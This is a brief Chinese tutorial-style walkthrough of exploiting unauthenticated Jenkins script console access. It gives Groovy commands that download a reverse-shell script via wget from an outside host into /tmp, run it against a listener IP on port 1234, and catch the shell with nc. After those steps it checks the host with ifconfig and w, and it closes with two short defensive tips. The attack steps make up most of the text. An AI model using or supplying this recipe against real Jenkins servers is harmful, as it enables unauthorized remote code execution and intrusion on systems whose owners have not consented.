Jenkins未授权访问脚本执行漏洞

步骤

首先找一个站点挂上一个反弹shell脚本,然后在脚本执行框里执行脚本进行下载到tmp目录:

println "wget http://47.95.XXX.XXX/xxx.py -P /tmp/".execute().text

执行成功下面Result并没有反馈

然后我们执行命令允许反弹shell脚本

println "python /tmp/xxx.py 140.143.xxx.xxx 1234".execute().text

 Jenkins未授权访问脚本执行漏洞

此时我们在140.143.xxx.xxx主机上使用nc监听1234端口

nc -l -p 1234

 Jenkins未授权访问脚本执行漏洞

ifconfig 查看ip

Jenkins未授权访问脚本执行漏洞

查看一下当前用户 w命令

Jenkins未授权访问脚本执行漏洞

防御措施:

1.Jenkins访问进行密码加密

Manage Jenkins -> Configure System -> Enable Security

 Jenkins未授权访问脚本执行漏洞

2.不暴露在公网上

相关文章:

  • 2021-10-03
  • 2021-06-22
  • 2021-12-30
  • 2021-04-15
  • 2021-09-10
  • 2021-05-11
  • 2021-07-02
猜你喜欢
  • 2021-08-04
  • 2022-01-17
  • 2021-11-26
  • 2022-12-23
  • 2021-09-08
  • 2021-08-26
相关资源
相似解决方案